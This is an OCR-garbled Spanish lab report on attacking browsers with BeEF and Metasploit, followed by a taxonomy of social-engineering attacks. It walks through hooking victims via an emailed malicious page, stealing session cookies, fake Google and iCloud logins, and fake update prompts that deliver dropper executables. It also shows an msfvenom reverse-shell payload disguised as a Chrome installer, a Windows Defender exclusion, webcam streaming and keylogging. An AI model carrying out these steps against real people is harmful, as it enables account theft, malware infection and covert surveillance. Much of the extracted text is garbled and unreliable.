Una vez tenemos la imagen del router en una maquina virtual, se tiene
que configurar un DNAT, redirigiendo el trafico de entrada de los puertos
80 y 3000 (rule 1 y rule 2), y un SNAT para que la IP que salga, se
transforme en IP publica (rule 3)

nat { rule 2 {
destination { destination {

rule 1 {
destination { i port 3000

port 80O

source f{
rule 3 {
outbound-interface {
name ethl

inbound-interface {

’ name ethl

inbound-interface {
name ethl

¥
source {

¥ address 10.0.0.0.8

¥ protocol tcp
protocol tcp translation {
translation { addres=s 10.1.1.2
address 10.1.1.2 port 3000
port 80

H
translation {
address masguerade
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En la siguiente captura se muestran los comandos necesarios para establecer
esta configuracion

destination port 8@’
inbound-interface name ‘ethi’
protocol ’tcp’

translation address "10.1.1.2°
translation port '80°
destination port *3000°
inbound-interface name ‘ethi’
protocol ’tcp’

destination rule
destination rule
deztination rule
destination rule
destination rule
destination rule
destination rule
deztination rule
destination rule translation address "10.1.1.2°
destination rule translation port *3000°

source rule 3 outbound-interface name 'ethi’
source rule 3 source address "10.0.0.0.8°

source rule 3 translation address ’masquerade’

interfaces {
ethernet etho {
address 10.1.1.1-8
hw-id 08:00:27:c?:f5:17
H
ethernet ethl {

address dhcp

1
1
1
1
1
2
2
g hw-id 08:00:27:cd:ef :97
2

¥
loopback lo {

-Modificar la configuracion de BeEF para indicar la IP publica del router (linea
host)
/usr/share/beef-xss/config.yaml

GNU nano 7.2 config.yaml

BEEFHOOK
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-Comprobar que el html malicioso indica nuestra IP

Una vez ambos programas estan activos, se debe indicar nuestra nueva
direccion IP en el html que se enviara, para que la victima preceda a lo
que se conoce como “llamada a casa”.

‘hook. Js

tto: //1¢

l>Sorry! This site is experi g technical difficulties

-Entrar al directorio de la herramienta y inciar el servicio:
cd /usr/share/beef-xss — sudo ./beef start

-Iniciar servidor web
Obviamente nuestra web no se va a alojar en un hosting legitimo asi
que la tenemos que alojar en nuestra maquina y que se acceda con un
link
sudo pyhton2 -m SimpleHTTPServer 80

-Enviar link a la victima
Por ultimo, es necesario que se envie el link a nuestra pagina, alojada
en nuestro servidor web, esto se puede hacer desde infinidad de
medios; redirigido desde una web legitima, a través de DNS Spoofing,
desde un SMS,etc...
En este caso y como ya se ha comentado, desde un mail.
En cualquiera de los casos seria 6ptimo el uso de la ingenieria social
para maximizar el numero de victimas si de un caso real se tratase.

P — - S —

Editar enlace X |

Texto para mostrar: |Este es un link igual de fiable que los otros dos \

Enlazer con: :A qué URL debe ir este enlace?
@ Direccién web [192.168.247.65 |
O Direccidn de

Probar este enlace
correo

iNo sabes muy bien qué poner en el cuadro? En primer lugar, busca |a pagina
de la web a la que quieres vincular (puede ser util un motor de busqueda). A
continuacion, copia la direccion web del cuadro que aparece en la barra de

direcciones de tu navegador y pégala en el cuadro de arriba.

Cancelar

9. Funcionalidades post-explotacion de BEeF

Las funcionalidades que ofrece el software una vez capturada la victima son 310,
agrupadas en diferentes tipos, exploits, redes, navegador, etc...

Estas estan ordenadas por colores segun lo detectables que son, las mas interesantes
son los siguientes:

*Ademas de los mostrados a continuacion, se pueden ejecutar java scripts disefiados
por el atacante

e \/erde -- El comando funciona en la victima y no sera visible para el usuario;

e Rojo -- El comando no funciona en esta victima;
° -- El comando quizas funciona pero no ha sido verificado;
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Naranja -- EI comando funciona y tiene efectos que la victima podria percatar

Getting Started Logs
Details Logs Commands F
Module Tree

Search

|__ Browser (58)

|__l Chrome Extensions (6)
|__1Debug (9)

|__1 Exploits (110)

[_)Host (24)

[ 1IPEC (9)

[_) Metasploit (1)

[ Misc (20)

[__I Network (24)

|__1 Persistence (9)

|__1 Phonegap (16)

[_) Social Engineering (24)

A continuacién se muestran algunos de los ataques mas vistosos que
ofrece el programa:

9.1 Hooked domain - Get cookies

Esta funcionalidad da la cookie de sesion de la pagina actual, si la ventana del
navegador ha estado en una web de un comercio electrénico por ejemplo, con
esta cookie, insertandose en la misma URL podriamos capturar esa sesioén. (ej.
Personificar la sesion de alguien comprando en internet)

Module Results History Get Cookie
i... date label Description:  This module will retrieve the session cookie from the current page.
0 2024-05-... command

1149 1 Id: 283

Command results

1 Thu May 23 2024 09:56:55 GMT-0400 (Eastern Daylight Time
data:

cookie=BEEFHOOK=rmaRknarzfW3b0zv4iusgdFV2ZmULIwGOVUzKSLMIIhFUFHUDDJeH|Bk2temkaR130QbNgBwhagNMNE0m

9.2 Hooked domain - Redirect Browser

Esta funcionalidad permite redirigir el navegador de la victima a otra pagina
web que el atacante desee (e]. Redirigir en nav. de la victima a otra web
maliciosa de nuestro dominio)

Module Results History Redirect Browser
i... | date label Description:  This module will redirect the selected hooked browser to the address specified in the 'Redirect URL’ input.
0 2024-05-... command
10:41 1 Id: 265
1 2024-05-... command .
10:54 2 Redirect URL: | https:/felpuig.xeill.net

2 2024-05-... command
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9.3 Host - Get Geolocation (Third-Party)

Esta funcionalidad permite descubrir datos de alto interés sobre la victima,
como geolocalizacion aproximada, codigo postal, zona horaria, teleoperadora,

etc... (ej. Realizar un Scareware mas sofisticado a una victima o un ataque de
Pretexto)

Module Results History Get Geolocation (Third-Party)
i... date label Description:  This module retrieves the physical location of the hooked browser using third-party hosted geclocation APIs.
0 2024-05-.. command
10:44 1 Id: 104
1 2024-05-... command . o
10:44 2 APL: https:/ipapi.coljson hd

2 2024-05-.. command
e

an-AE

Command results
1

Thu May 23 2024 10:18:47 GMT-0400 {Eastemn Daylight Time)
data: result={ "ip"; "79.117.174.121", "network": "79.117.174.0/23", "version™ "IPw4", "city": "Barcelona”, "region”: "Catalonia”,
“region_code": "CT", “country™; "ES", "country_name™ "Spain”, "country_code™ "ES", "country_code_iso3™ "ESP", "country_capital”:
“Madrid”, "country_tld™: ".es", "continent_code™: "EU", "in_eu™ true, "postal": "08028", "latitude™ 41.3994, "longitude": 2.0995,
“timezone": "Europe/Madrid”, "utc_offset™ "+0200", "country_calling_code™: "+34", "currency”: "EUR", "currency_name": "Eura",

“languages": "es-ES ca gl.eu,oc”, "country_area": 504782.0, "country_population”: 46723749, "asn™: "AS5726%", "org™: "Digi Spain
Telecom S.17 }

9.4 Host - Detect Antivirus

Esta funcionalidad permite saber si la victima dispone de un antivirus activo en
su equipo (ej. Recopilar informacién para un futuro ataque de distinta tipologia)

Module Results History Detect Antivirus
i... date label Description:  This module detects the javascript code automatically included by some AVs (currently supports detection for Kaspersky,
0 2024-05-.. command Avira, Avast (ASW), BitDefender, Morton, Dr. Web)
10:13 1
Id: 126

Command results
18

Thu May 23 2024 10:13:05 GMT-0400 (Eastern Daylight Time)
data: antivirus=Mot Detected

9.5 Persistence - Confirm close tab

Esta funcionalidad permite seguir conectados a la victima, la gracia de este
modulo es que cada vez que la victima confirme que quiere salir de la pagina,
esta le volvera a solicitar confirmacion, esto no funciona en algunos
navegadores, asi que ademas incluye la funcién de abrir una pequefa ventana
por detras “Pop Under” que nos mantiene conectados a la victima (ej. Seguir
conectados para seguir recopilando informacién/ Realizar otros ataques o
“‘jugar” con la victima para intimidarla en caso de un Scareware)

Module Results History Confirm Close Tab
i... date label Description: Shows a confirm dialog to the user when they try to close a tab. If they click yes, re-display the confirmation dialog. This
0 2024-05-.. command doesn’t work on Opera < v12. In Chrome you can't keep opening confirm dialogs.
10:49 1
Id: 48
1 2024-05-.. command
10:50 2 ) " - -
Confirm text: | Are you sure you want to navigate away from this page?in\n There is
2 2024-05-... command currently a request to the server pending. You will lose recent changes
10:30 3 by navigating away.\m\n Press OK to continue, or Cancel to stay on the
3 2024-05-. command current page.
10:31 4 Create a pop-
under window
on user's tab
closing:
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Command results

1

data: Module executed successfully

2

data: result=Pop-under window requested

3

Thu May 23 2024 10:31:23 GMT-0400 (Eastern Daylight Time)

Thu May 23 2024 10:31:28 GMT-0400 {Eastern Daylight Time)

Thu May 23 2024 10:31:26 GMT-0400 (Eastern Daylight Time)

data: resuli=Pop-under window successfully created!

9.6 Social engineering - Google phishing

Esta funcionalidad permite redirigir a la victima a lo que parece un login de
Google, que en caso de que introduzca usuario y contrasefia, nos llegue a
nosotros (ej. Robar una cuenta de Google)

Meodule Results History Google Phishing

i.. date label = || Description:  This plugin uses an image tag to XSRF the logout button of Gmail. Continuously the user is logged out of Gmail (eq. if

0 2024.05... command he is logged in in another tab). Additionally it will shaw the Gaogle favicon and a Gmail phishing page (although the URL
1055 1 is NOT the Gmail URL}.

Id: 1

XS5 hook URL hitp://192.168.247.175:3000/demos/plain.htm

Gmail logout 10000
interval (ms):

Redirect delay 1000
(ms):

Google

Google Mail

A Google approach to email.

Google Mail is built on the idea that email can be more intuitive,

= Lots of space
Over 2757.272164 megabytes (and counting) of free

storage.

Less spam
Keep unwanted messages out of your inbox.

Mobile access
Get Google Mail on your mobile phone. Learn more

About Google Mail  New features!  Switch to Google Mail
Create an account

Take Google Mail to work with
Google Apps for Business

Love Google Mail, but looking for a custom email
address for your company?

Get business email, calendar, and online docs
@your_company.com. Learn more

efficient, and useful. And maybe even fun. After all, Google Mail has

New to Google Mail? [EIZUFUPGEE ]

Sign in

Username

Password

Can't access your account?

9.7 Social engineering - Clippy

Esta funcionalidad permite hacer aparecer en la pagina web, a Clippy el

ayudante de usuario de Microsoft Office de finales de los afos 90, pudiendo
hacer muy insistente y con un mensaje de nuestro gusto, pudiendo hacer que

se descargue un archivo en la victima (ej. Introducir en la victima un

metasploit/algun archivo malicioso o “jugar” con la victima para intimidarla en

caso de un_Scareware)
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Module Results History Clippy

i date label Description:  Brings up a clippy image and asks the user to do stuff. Users who accept are prompted to download an executable.
0 2024-05-.. command You can mount an exe in BeEF as per i ial_engineering/dropper dme.txt.

10:47 1
1 2024-05-.. command \d: 23

10:48 2

Clippy image | hitp://192.168.247.175:3000/clippy/
directory:

Custom text: | your browser appears to be out of date. Would you like to upgrade it?

Executable: | http://192.168.247.175:3000/dropper.exe

Time until 5000
Clippy shows
his face again:

Thankyou Thanks for upgrading your browser! Look forward to a safer, faster web
message after

downloading:

Your browser appears
to be out of date.
Would you like to

upgrade it?

"Yes | Not now | 9.8 Social engineering - Text to voice/ Hooked Domain
- - Play Sound

= Estas funcionalidades permiten reproducir audio en la
victima, en el caso de “Text to Voice” no funciona en
3 algunos navegadores, en cambio el médulo “PLay Sound”,
aunque menos vistoso, reproduce un sonido similar a el
disparo de un arma laser (ej. Reproducir sonidos o
mensajes para “jugar” con la victima y intimidarla en caso de un Scareware)

ile Results History Text to Vioice
date label Description:  Convert text to mp3 and play it on the hooked browser. Note: this module requires Lame and eSpeak to be installed.
2024-05-... command
10:46 1 Id: 2
2024-05-... command
10:47 2 Text: Hello; from beef
2024-05-... command
10:47 3
Language: en

Module Results History Play Sound
i...  date v label Description:  Play a sound on the hooked browser.
0 2024-05-... command

09:56 1 Id: 263
1 2024-05-... command .

0956 2 gf’ur:‘d File hitp://192.168.247.175:3000/demos/sound.wav

ath:

9.9 Social engineering - Fake Flash update

Esta funcionalidad permite hacer aparecer una actualizacién disponible de
Flash Update en el navegador de la victima, en caso de que esta acepte, se
descarga un archivo malicioso que nosotros escojamos o una extension de
navegador que abre puertos, habilita Java, etc... (ej. Introducir en la victima un
metasploit/algun archivo malicioso o una extension que podria ayuda en otros
ataques )

31



Module Results History Fake Flash Update

-. | date label Description: Prompts the user to install an update to Adobe Flash Player.
The delivered payload could be a custom file, a browser extension or any specific URL.
The results fro
command modu ! The provided BeEF Firefox extension disables PortBanning (ports 20, 21, 22, 25, 110, 143), enables Java, overnides the
isted here. UserAgent and the default home/new_tab pages.

See i ipec/files/Link TargetFinder directory for the Firefox extension source code.

The Chrome extension delivery works on Chrome <= 20. From Chrome 21 things changed in terms of how extensions
can be loaded.

See /extensions/demos/flash_update_chrome_extension/manifest json for more info and a sample extension that works
on latest Chrome

Id: 20

Image: http://192.168.247 175:3000/adobe/flash_update.png

Payload: Custom_Payload 2
Custom hitps://github.convbeefproject/ibeef/archive/master.zip

Payload UR!

An update to Adobe® Flash® Player Is avallable.

This update includes improvements in usability, online security and
stability, as well as new features which help content developers deliver
rich and engaging experiences.

Did you know...

+ The top 10 Facebook games use the Flash Player. To see more,
visit: www.adobe.com/games.

+ Most of the top video sites on the web use Flash Player

+ Flash Player is installed on over 1.3 billion connected PCs

Note: If you have selected to allow Adobe to install updates, this update

will be installed on your system automatically within 45 days or you can
choose to download it now.

REMIND ME LATER INSTALL

9.10 Social engineering - Fake notification bar (Chrome)

Esta funcionalidad permite hacer aparecer una notificacion de Chrome que si el
usuario acepta, descargara el archivo que se indique (ej. Introducir en la
victima un metasploit/algun archivo malicioso)

Module Results History Fake Motification Bar (Chrome)
I... date label ¥ | | Description: Displays a fake notification bar at the top of the screen, similar to those presented in Chrome. If the user clicks the
0 2024-05-.. command notification they will be prompted to download the file specified below.
— 1 You can mount an exe in BeEF as per _engir g/dropper ot
Id: 17
URL: http://192.168.247.175:3000/dropper.exe

Notification Additional plugins are required to display all the media on this page.
text

. Additional plugins are required to display all the media on this page. Install Missing Plugins... | X

| Sorrv! This site is experiencing technical difficulties
9.11 Social engineering - Pretty theft
Esta funcionalidad permite generar un Pop Up que imita diferentes aplicaciones

como Facebook, Linkedin, Windows, IOs, etc... Que le pedira usuario y
contrasefa a la victima (ej. Robar cuenta de la aplicacion que escojamos)
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Module Results History Pretty Theft

i... date label Description:  Asks the user for their username and password using a floating div.
O 2024-.05-... command
10:54 1 Id: 8
1 2024-05-.. command .
11:14 2 Dizlog Type: | I0S v
2 2024-05-... command Backing: Grey 4
11:32 3
3 2024.05... command %‘5[0"" LGDIO | hitp://192.168.247.175:3000/uiimediafimages/beef.png
e A (Generic only):

A & Or 192168247175

iCloud login

Enter your Apple ID e-mail address
and password

[Password

Cancel

9.12 Network - DoSer

Esta funciéon permite atacar a un servidor con la intencidon de provocar una
denegacion de servicio, con tal de que no se ralentice el navegador capturado
a través del que atacamos, necesita una aplicacién llamada WebWorker (ej.
Usar a las victimas como una BotNet para atacar a un servidor )

DOSer

Description: Do infinite GET or POST requests to a target, spawning a WebWorker in order to don't slow down
the hooked page. If the browser doesn't support WebWorkers, the module will not run.

Id: 70

URL: hitp:/itarget/path

Delay between | 10
requesis (ms):

HTTP Method: | pOsT

POST data: key=value&&Aa=Aa&BR

9.13 Network - Fingerprint local network

Esta funcionalidad permite escanear la red local de la victima, pudiendo
desvelar al atacante otros dispositivos que haya en esa red o
aplicaciones que puedan ser vulnerables (ej. Hacer un reconocimiento
de el entorno de la victima con el objetivo de encontrar otros objetivos)
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Fingerprint Local Network
Drescription: Discover devices and applications in the victim's Local Area Metwork.

This module uses a signature based approach - based on default logo images/favicons for known
network device/applications - to fingerprint each IP address within the LAN.

Partially based on Yokosou and jslanscanner.

Maote: set the IP address range to 'common’ to scan a list of common LAN addresses.
Id: 55

Scan IP range | 192.168.0.1-192.168.0.254
(C class):

Ports to test: B0,8080

‘Workers: 3
‘Wait (s) 5
between each
request for

each worker:
Timeout for 10
each request

(s)

10. Post explotacion BEeF + Metasploit

Una de las cosas que se pueden hacer para escalar en la maquina victima y ademas
tener acceso aunque se cierre el navegador, seria implementar un “Reverse Shell”
para poder ejecutar comandos en el equipo que se esta atacando.

Esto lo podemos hacer con la ayuda de Metasploit, una herramienta que aprovecha
vulnerabilidades para atacar equipos, normalmente usado para “Pentesting” y hacer
pruebas o auditorias a equipos informaticos, pero al igual que el programa que se
analiza en este estudio, en malas manos puede ser una herramienta potente con la
que llevar a cabo malas acciones.

Con esta herramienta se pretendia conseguir acceso total de la maquina de una
victima, intentando ser lo mas fidedigno y cercano posible a lo que seria un caso real,
eso implicaria:

= Sistema operativo de la victima Windows 10 o superior (85% de todos lo
equipos son Windows)

= No tener que dar privilegios al archivo en la maquina victima
= Tipo de archivo comun que no necesite un software especifico para ejecutarse
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Por suerte para los usuarios pero por desgracia para el desarrollo de este estudio,
Windows detecta como malicioso el archivo generado por metasploit.

Ya sea haciendo fallida su descarga o sacando un mensaje de error cuando se intenta
ejecutar.

También se probd a hacerlo a través de un payload de python, pero aunque este no
sacaba ningun mensaje de error, no conseguia conectar con el atacante.

Todas estas pruebas y problemas encontrados en este apartado se desarrollan en mas
profundidad en el apartado 13.5

Esas problematicas citadas, podrian esquivar usando herramientas como Shellter y un
payload hecho a mano, junto con un encriptador de pago.

Restando bastante realismo y ainadiendo una excepcién de Windows Defender,
el proceso seria el siguiente

10.1 Proceso

1. Anadir nueva regla a VVyoS para que haga la comunicacion

rule 4 {
destination {
port 4444

1

inbound-interface {
name ethl

1

protocol tcp

translation {
address 10.1.1.2
port 4444

2. Crear el Payload con Metasploit

L fvenom -p ﬁiﬁdows!meterpreterireverse_tcp -a %86 —platform windows -f exe LHOST=1

92.168.247.175 LPORT=4444 -0 chrome-setup32.exel]

3. Meterlo en un un Zip para que Windows permita su descarga

ik google-account-info.zip 42.6 KiB Ziparchive
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4. Usar un médulo de BEeF que inicie una descarga

En al apartado URL, indicaremos el archivo a descargar

Fake Motification Bar (Chrome)

Description: Displays a fake notification bar at the top of
the screen, similar to those presented in
Chrome. If the user clicks the nofification they
will be prompted to doawnload the file specified
el

*fou can mount an exe in BeEF as per
extensionssocial_engineering/droppers

freadme.txt.
Id: 17
URL: /dropp/google-account-i
Motification Additional plugins are re

text:

- Additional plugins are required to display all the media on this page. Install Missing Plugins... | X

| Sorrv! This site is experiencing technical difficulties

5. Poner Metasploit a escuchar

access security
ss: PERMISSION DENIED.
access security grid
ccess: PERMISSION DENIED.
main security grid
PERMISSION DENIED....and ...

tcp
ndows/meterpreter/reverse_tcp
r/reverse_tcp
> set LHOST 192.168.

> set LPORT 4444

-06-01 12:17:54 -0L00

36



—> En el caso de haber podido incrustar el payload y que funcionase de por

si solo, aqui acabaria el proceso y solo haria falta esperar, pero como se ha
comentado, este no es caso asi que habria que desactivar Windows Defender

Aun asi desde esta perspectiva podriamos usar esto como ejercicio de
Pentesting, para ver como de vulnerable es nuestra maquina y a que podrian
acceder en caso que la hayan atacado.

10.2 Hacer excepcién en windows Defender

1. Configuracion de Windows

Inicio
PortatilDaniM . DIGIFIBRA-EEsu Windows Update
HP Laptop 15s-fg2xxx *  Conectada, segura Ultima comprobacién: hace 5
Cambiar nombre horas
Configuracién recomendada i

Configuracién reciente y usada habitualmente .
& y Almacenamiento en la nube

No tiene espacio de almacenamiento. Obtenga mas o quite algunas
") Seauridad de Windows > cosas para hacer una copia de seguridad de los archivos y enviar

2. Privacidad y Seguridad

K Accesibilidad
rvacida segurida
| Privacidad y seguridad

@ Windows Update

3. Seguridad de Windows

Privacidad y seguridad

Seguridad

O Seguridad de Windows

Proteccion antivirus, de explorador, de firewall y de red para el dispositivo

4. Proteccion contra virus y amenazas

Areas de proteccion

Proteccidn contra virus y amenazas
No se requieren acciones.
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5. Administrar la Configuracion de antivirus y proteccion de amenazas

o Configuracion de antivirus y
proteccion contra amenazas

No se requiere ninguna accion.

Administrar la configuracion

6. Bajar hasta Exclusiones y agregar una

Exclusiones

Antivirus de Microsoft Defender no explorara
elementos que se hayan excluido. Los elementos
excluidos podrian contener amenazas que hacen
que el dispositivo sea vulnerable.

Agregar o quitar exclusiones

7. Tendremos que escoger un Archivo, Carpeta, Tipo de Archivo o Proceso

Exclusiones

Agregar o quitar los elementos que quieras
excluir de los analisis de Antivirus de Microsoft
Defender.

+  Agregar exclusién

8. Por ultimo, en el caso de la carpeta o archivo, lo escogemos desde el
explorador de archivos

C (J > -+ google-account-problem Buscar en gc
@ @D = W Tl Ordenar + = Ver ~ e
o
Mombre Fecha de modificacion Tipo Tamafio
~ hoy
your-information32 01/06/2024 16:36 Aplicacién 73 KB
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10.3 Ataques a la WebCam

A continuacion el proceso de como atacar a la WebCam de la
victima para hacer capturas o grabar video

Hacer una foto

- > webcam_List El parametro -i es para escoger
islon HD Camera .
N r‘qm-:r; 1 una camara en caso de que haya
R mas de una

sTisGTPm.jpeg - Image Viewer [8/11]

Grabar video (DE FORMA PERMANENTE)

Transformamos la WebCam de la victima en un servicio de Streaming

> webcam_stream

Ope g at: Jhome/kali/tDgsuGMm.html
Streaming ...
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C @ O file:///home/kali/tDgsuGMm.html

KaliLinux §& KaliTools « KaliDocs % KaliForums e Kali NetHunter Exploit-DB Google Hac

Target IP : 192.168.1.133
Start time : 2024-06-81 11:20:49 -8400
Status : Playing

www.metasploit.com

10.4 Ataque de Keylogger

Primero se miran los procesos que hay activos en la maquina
victima, y se migra Meterpreter al programa del que se quiera
recopilar lo que teclea la victima, solo se puede hacer de un
proceso a la vez, esto es lo que diferencia un Keylogger de
software y un Keylogger de Hardware.

Name Arch Session

PORTATILDANIM

‘rogram Fil WindowsAppsh

14708

rent pid: 14708
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_dump

trokes ..

SCULAS DERECHA>

Junto a los aqui mostrados, a través de este método se pueden hacer muchos mas
ataques como:
e Lectura de archivos
Descarga de archivos
Ejecucién de archivos
Grabacién de audio a través del micréfono
Consulta de contrasenas guardadas
etc...

11. Técnicas de ingenieria social en ataques de malware
11.1 Definicién de ingenieria social

La ingenieria social es una técnica de manipulacion que explota los errores
humanos para obtener informacion privada, acceso o bienes de valor. En el
cibercrimen, estos engafios de "hackeo humano" suelen atraer a usuarios
desprevenidos para exponer datos, propagar infecciones de malware o dar
acceso a sistemas restringidos. Los ataques pueden ocurrir en linea, en
personay a través de otras interacciones.

Los ataques basados en la ingenieria social se construyen en torno a como
piensan y actuan las personas. Como tal, los ataques de ingenieria social son
especialmente utiles para manipular el comportamiento de un usuario. Una vez
que un atacante comprende lo que motiva las acciones de un usuario, puede
engafarlo y manipularlo a su gusto.

Ademas, los hackers intentan explotar la falta de conocimiento de un usuario.
Gracias a la rapidez de la tecnologia y la brecha digital, muchos usuarios o
aveces incluso empleados, no estan al tanto de ciertas amenazas. Ademas los
usuarios también en algunos casos, no se dan cuenta del valor que tienen sus
datos personales.

11.2 Cémo funciona la ingenieria social?

Generalmente los ataques de ingenieria social atacan contra la psicologia
humana, concretamente contra eslabones débiles de la mente humana, como
las emociones o otras situaciones.

Emociones aprovechadas / atacadas por la ingenieria social:

- Miedo

- Emocion/Excitacion
- Curiosidad

- lra/Enfado

- Culpa

- Tristeza / Soledad
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Otros aspectos aprovechados por los ciberdelincuentes:

- Urgencia: Las oportunidades con tiempo limitado son otra herramienta
confiable para los atacantes. Es posible que el usuario se sienta
motivado a comprometerse bajo la aparicion de un problema grave que
requiere atencion inmediata. Este enfoque anula la capacidad de
pensamiento critico en el usuario.

- Confianza: La credibilidad es esencial para un ataque de ingenieria
social. Dado que el atacante, en ultima instancia, esta mintiendo, la
confianza juega un papel importante. En caso de haber investigado lo
suficiente sobre la victima podrian crear una narrativa facil de creer y
poco probable de levantar sospechas.

- Respeto a la autoridad: Los ciberdelincuentes se hacen pasar por una
figura de autoridad, como un gerente o un oficial de seguridad, para
persuadir a las personas a tomar una determinada accién, como
proporcionar informacién confidencial o hacer clic en un enlace
malicioso. Las personas tienden a ser mas obedientes a figuras de
autoridad sin cuestionarla, en muchas ocasiones, lo que la hace una
técnica efectiva.

- Voluntad de ayudar: Los atacantes utilizan esta técnica para persuadir
a las personas a proporcionar informacién confidencial o realizar una
accion en nombre de la "ayuda", como un pago por ejemplo. Las
personas tienden a ser mas receptivas cuando se les pide ayuda, lo que
hace que esta técnica sea efectiva.

- Ofrecer algo a cambio: Los ciberdelincuentes ofrecen algo a cambio,
como dinero o una oferta especial, para persuadir a las personas a
proporcionar informacioén confidencial o realizar una accién. Como es de
esperar, el trato no se cumple por parte del atacante. Los ataques
basados en esta técnica son llamados “Quid pro quo”.

- Limitacién temporal: Esta técnica, similar a la del sentido de urgencia,
se basa en usar la limitacién temporal para persuadir a la victima de
que tiene poco tiempo para actuar o de estar expuesto a una
recompensa que puede desaparecer si no actuas rapidamente, como
una gran oferta con unidades limitadas. Esta tactica hace que las
personas tomen decisiones rapidas sin considerar las posibles
consecuencias.

- Pretender disponer de una informacién confidencial: Se utiliza esta
técnica para persuadir a las personas a proporcionar informacién
confidencial haciéndoles creer que ya se dispone de ella de forma
incorrecta para asi ser corregido, o que hay un problema en su cuenta o
sistema y necesitan solucionarlo. Las victimas tienden a ser mas
susceptibles cuando se les informa sobre un problema en su cuenta o
se tienen datos equivocados sobre ellos.

42



11.3 Tipologias de ataque por ingenieria social (En linea)
11.3.1 Ataques de Phishing

Los atacantes de phishing se hacen pasar por una institucion o individuo de
confianza o autoridad con el fin de persuadir para que se revelen datos
personales o otro contenido de valor.

Los ataques de phishing se enfocan de una de dos formas:

e El phishing de spam o masivo es un ataque generalizado dirigido a
muchos usuarios. Estos ataques no son personalizados y tratan de
atrapar a cualquier persona desprevenida, se puede automatizar su
envio con bots o con virus.

e El spear phishing y, por extension, el whaling (phishing altamente
personalizado y con gran cantidad de informacién personal), usan
informacién personalizada para dirigirse a usuarios particulares. Los
ataques de whaling apuntan especificamente a objetivos de alto valor,
como celebridades, altos ejecutivos y altos funcionarios
gubernamentales de los que se tiene gran cantidad de datos y asi se
puede ejecutar un ataque mas creible.

Ya sea por medio de una comunicacion directa o a través de un formulario en
un sitio web falso, toda la informacién compartida sera de utilidad para el
atacante. Incluso la victima puede ser convencida de descargar un malware,
que serd la siguiente etapa del ataque. Los métodos utilizados en el phishing
tienen modos de funcionamiento diversos como:

e Las llamadas de phishing por voz (vishing) pueden ser sistemas de
mensajes automaticos que registran todas tus entradas. A veces, una
persona en vivo puede hablar contigo para aumentar la confianza y la
urgencia.

e Los mensajes de phishing por SMS (smishing) o las aplicaciones
moviles pueden incluir un enlace web o una solicitud de seguimiento a
través de un correo electrénico o numero de teléfono fraudulento.

e El phishing por correo electrénico es el medio mas tradicional de
phishing, utilizando un correo electrénico que te urge a responder o
seguir por otros medios. Se pueden usar enlaces web, niumeros de
teléfono o archivos adjuntos de malware.

e El angler phishing se lleva a cabo en las redes sociales, donde un
atacante imita el servicio al cliente de una empresa de confianza.
Donde pueden conseguir tus credenciales de dicho servicio o
informacion de la que tendria que disponer la empresa real.

e El phishing de motor de busqueda intenta colocar enlaces a sitios

web falsos en la parte superior de los resultados de busqueda. Estos
pueden ser anuncios pagados o usar métodos de optimizacién de
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posicionamiento en los buscadores para manipular las clasificaciones
de busqueda.

e El phishing de URL tienta a la victima para que visite sitios web de
phishing. Estos enlaces se entregan comunmente en correos
electrénicos, mensajes de texto, mensajes de redes sociales y anuncios
en linea. Los ataques ocultan los enlaces en texto o botones hiper
enlazados, utilizando herramientas de acortamiento de enlaces o URL
escritas de manera engafnosa.

e El phishing en sesién aparece como una interrupcion en la
navegacion web normal. Por ejemplo, puedes ver pop-ups falsos de
inicio de sesidn para paginas que estas visitando actualmente.

11.3.2 Ataque de Pretexto

El “Pretexting” utiliza una identidad engafiosa como "pretexto" para establecer
la confianza, como la suplantacion directa de un proveedor o de un empleado
de una instalacién. Este enfoque requiere que el atacante interactie con la
victima de manera mas proactiva. El ataque sigue una vez se ha convencido a
la victima de que son confiables.

11.3.3 Ataque Quid Pro Quo

"Quid pro quo" es un término del latin que significa "un favor por otro", lo que en
el contexto del phishing implica un intercambio de informacién personal a
cambio de una recompensa u otra compensacion. Los sorteos o las ofertas
para participar en estudios de investigacién pueden exponerte a este tipo de
ataque.

La forma de explotacion consiste en emocionar a la victima por algo valioso
que requiere una baja inversion por tu parte. Sin embargo, el atacante
simplemente toma tus datos, toma tu dinero o infecta el equipo sin ofrecerte
ninguna recompensa real.

11.3.4 Ataque de DNS Spoofing y Envenenamiento de Cache

Los ataques de “DNS spoofing” manipulan el navegador de la victima y los
servidores web para que se conecten a sitios web maliciosos cuando ingresa
una URL legitima. Una vez infectado con este tipo de ataque, la redireccion
continuara a menos que los datos de enrutamiento incorrectos sean eliminados
de los sistemas involucrados (Cache poisoning). .

Los ataques de DNS cache poisoning infectan especificamente su dispositivo
con instrucciones de enrutamiento para la URL legitima o varias URLs para
conectarse a sitios web fraudulentos.

11.3.5 Ataque de Scareware
Los ataques de scareware son una forma de malware utilizada para asustar a
la victima y obligarla a tomar una accion. Este malware engafioso utiliza

advertencias alarmantes que informan de infecciones falsas de malware o
afirman que una de sus cuentas ha sido comprometida.
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Como resultado, el scareware presiona para que se haga la compra de
software fraudulento de ciberseguridad o para que reveles detalles privados
como tus credenciales de cuenta.

11.3.6 Ataque de Watering-Hole

Los ataques de Watering Hole (o de bebedero), consisten en infectar sitios web
populares que son frecuentados por un grupo especifico de usuarios. La idea
es que el atacante infecte el sitio web y, cuando los usuarios visiten el sitio, se
infecten con malware o sean redirigidos a otro sitio malicioso. Este tipo de
ataque es especialmente peligroso porque puede afectar a un gran nimero de
usuarios al mismo tiempo.

Requieren una cuidadosa planificacién por parte del atacante para encontrar
debilidades en sitios web especificos. Buscan vulnerabilidades existentes que
no se conocen y no se han parcheado, lo que se llama vulnerabilidades
zero-day.

Otras veces, pueden descubrir que un sitio no ha actualizado su infraestructura
para solucionar problemas conocidos. Los propietarios del sitio web pueden
retrasar las actualizaciones de software para mantener versiones de software
que saben que son estables. Cambiaran una vez que la version mas nueva
tenga un historial probado de estabilidad del sistema. Los hackers abusan de
este comportamiento para atacar vulnerabilidades recién parcheadas.

11.4 Tipologias de ataque por ingenieria social (Fisicos)
11.4.1 Ataques de Baiting

El Baiting (o ataque de cebo) aprovecha la curiosidad natural para persuadirte
a exponerte ante un ataque. Por lo general, se utiliza la promesa de algo
gratuito o exclusivo como el incentivo para explotarte. El ataque suele
involucrar infectarte con malware.

Los métodos de Baiting populares pueden provenir de:

e Unidades de USB dejadas en lugares publicos, como bibliotecas y
estacionamientos.

e Archivos adjuntos en correos electrénicos que ofrecen detalles sobre
una oferta gratuita o un software fraudulento gratuito.

11.4.2 Ataques de brecha fisica

Los ataques fisicos implican que los atacantes se presenten en persona,
haciéndose pasar por alguien legitimo para obtener acceso a areas o
informacion no autorizadas. Estos ataques son mas comunes en entornos
